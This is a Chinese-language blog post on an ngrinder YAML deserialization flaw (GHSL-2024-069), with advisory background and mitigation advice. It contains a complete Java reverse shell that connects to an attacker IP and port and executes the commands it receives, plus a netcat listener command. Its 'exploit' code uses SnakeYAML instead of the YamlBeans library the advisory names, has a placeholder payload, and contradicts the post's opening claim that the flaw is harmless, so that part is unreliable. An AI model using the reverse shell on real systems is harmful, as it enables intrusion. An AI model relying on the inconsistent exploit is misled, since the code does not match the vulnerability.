GHSL-2024-069: ngrinder中的YAML反序列化漏洞

176 阅读5分钟

概述

最近的安全检查发现,ngrinder/script/api/github/validate 接口存在一个 YAML 反序列化漏洞。虽然这个漏洞被确认存在,但目前看来不会造成严重后果。

技术背景

  • 受影响版本: ngrinder v3.5.9
  • 漏洞类型: 不安全的 YAML 反序列化
  • 漏洞原因: 用户可以控制的 YAML 数据被传递到一个默认设置下易受攻击的 YamlReader#read 方法中。

漏洞流程

  1. 用户通过未认证的 validateGithubConfig 接口提交 YAML 数据。
  2. 这些数据被传递到 GitHubFileEntryService 类中的 validate 方法。
  3. 最终,validate 方法调用 getAllGithubConfig,并进入 YamlReader#read

漏洞风险

使用 YamlBeans 时,攻击者可以控制要实例化的类名。如果攻击者知道特定的类(称为“gadget”),他们可以利用这个漏洞执行任意代码。

实际应用例子

攻击代码实例:利用 c3p0 的 WrapperConnectionPoolDataSource

以下是一个具体的攻击代码示例,展示如何利用 c3p0 库中的 WrapperConnectionPoolDataSource 类进行远程代码执行。该示例封装在一个函数中,攻击者可以通过发送特定格式的 YAML 数据来触发代码执行。

攻击代码示例

import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import org.yaml.snakeyaml.Yaml;

import java.io.InputStream;
import java.util.HashMap;
import java.util.Map;

public class Exploit {

    public static void main(String[] args) {
        // 调用攻击函数
        exploit();
    }

    public static void exploit() {
        // 构造恶意 YAML 数据
        String maliciousYaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
                "userOverridesAsString: \"AAAAAA...\""; // 这里填入合适的 payload

        // 使用 SnakeYAML 进行反序列化
        Yaml yaml = new Yaml();
        Object result = yaml.load(maliciousYaml);

        // 此时,恶意代码将被执行
        System.out.println("Payload executed: " + result);
    }
}

攻击流程说明

  1. 构造恶意 YAML 数据: 在 maliciousYaml 字符串中,攻击者构造了一个包含 WrapperConnectionPoolDataSource 类的 YAML 数据。通过设置 userOverridesAsString 属性,攻击者可以传递特定的恶意字符串。

  2. 反序列化: 使用 SnakeYAML 库的 load 方法将构造的 YAML 数据反序列化为 Java 对象。在这个过程中,如果服务器未对输入进行严格验证,攻击者可以利用该漏洞执行任意代码。

  3. 执行恶意操作: 一旦反序列化成功,攻击者可以在服务器上执行任意操作,例如创建反向 shell、上传恶意文件等。

注意事项

  • 安全性: 这种攻击依赖于服务器对用户输入的缺乏验证和不安全的反序列化。如果应用程序使用了安全的 YAML 解析库和良好的输入验证机制,可以有效防止此类攻击。

  • 实际应用场景: 攻击者可能会利用此漏洞在企业环境中进行数据泄露、系统破坏或其他恶意操作,因此开发者应高度重视此类安全隐患。

通过理解这一攻击过程和示例代码,开发者可以更好地识别和防范类似的安全漏洞。

对于YAML的攻击,攻击者可以构造如下 YAML 数据:

!!com.mypackage.WrapperConnectionPoolDataSource

一旦成功反序列化,攻击者就可能在系统中执行任意代码,比如创建一个反向 shell 连接到攻击者控制的服务器。

创建反向 Shell 连接到攻击者控制的服务器

以下是一个示例代码,展示如何利用 Java 创建一个反向 Shell 连接到攻击者控制的服务器。这个示例假设攻击者已经在其机器上设置好了监听器,以便接收来自受害者机器的连接。

攻击代码示例

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.Socket;

public class ReverseShell {

    public static void main(String[] args) {
        // 攻击者的 IP 地址和端口
        String attackerIp = "10.10.17.1"; // 替换为攻击者的实际 IP
        int attackerPort = 4444; // 替换为攻击者的实际端口

        try {
            // 创建与攻击者的 Socket 连接
            Socket socket = new Socket(attackerIp, attackerPort);

            // 创建输入和输出流
            BufferedReader input = new BufferedReader(new InputStreamReader(socket.getInputStream()));
            PrintWriter output = new PrintWriter(socket.getOutputStream(), true);

            // 执行命令并将结果发送回攻击者
            String command;
            while ((command = input.readLine()) != null) {
                Process process = Runtime.getRuntime().exec(command);
                BufferedReader processOutput = new BufferedReader(new InputStreamReader(process.getInputStream()));
                String line;
                while ((line = processOutput.readLine()) != null) {
                    output.println(line); // 将命令输出发送给攻击者
                }
                processOutput.close();
            }

            // 关闭连接
            socket.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

攻击流程说明

  1. 设置连接: 在代码中,攻击者的 IP 地址和端口被指定为 attackerIpattackerPort。攻击者需要确保在其机器上运行一个监听程序,例如使用 Netcat

    nc -nlvp 4444
    
  2. 创建 Socket 连接: 使用 Java 的 Socket 类,代码尝试连接到指定的攻击者 IP 和端口。

  3. 输入输出流: 一旦连接成功,程序创建输入和输出流,以便与攻击者进行通信。

  4. 执行命令: 程序进入一个循环,等待从攻击者发送过来的命令。每当接收到命令时,它会使用 Runtime.getRuntime().exec(command) 执行该命令,并将结果返回给攻击者。

  5. 关闭连接: 当不再需要时,程序会关闭与攻击者的连接。

注意事项

  • 安全性: 这种反向 Shell 攻击严重依赖于目标系统的安全漏洞。如果目标系统没有适当的安全措施(如防火墙、入侵检测系统等),则可能会被成功利用。

  • 合法性: 执行此类代码仅用于教育目的或在授权环境中进行安全测试。未经授权的访问计算机系统是违法行为。

通过理解这一反向 Shell 的实现方式,开发人员和安全专家可以更好地识别和防范此类安全威胁。

潜在影响

理论上,这个漏洞可能导致 远程代码执行,尤其是当攻击者能够在 ngrinder 的类路径中找到合适的 gadget 类时。这意味着,如果攻击者成功利用这个漏洞,他们可能会在服务器上运行任意代码,造成数据泄露或系统损坏等严重后果。

防范措施

为了防止此类漏洞,开发者应采取以下措施:

  • 使用安全的 YAML 解析库,如 SnakeYaml 的新版本,它默认使用 SafeConstructor 来限制可反序列化的类型。

  • 对用户输入的数据进行严格验证和清理,以确保不接受来自不可信来源的数据。

  • 定期更新依赖库,以修复已知的安全漏洞。

通过这些措施,可以有效降低 YAML 反序列化漏洞带来的风险。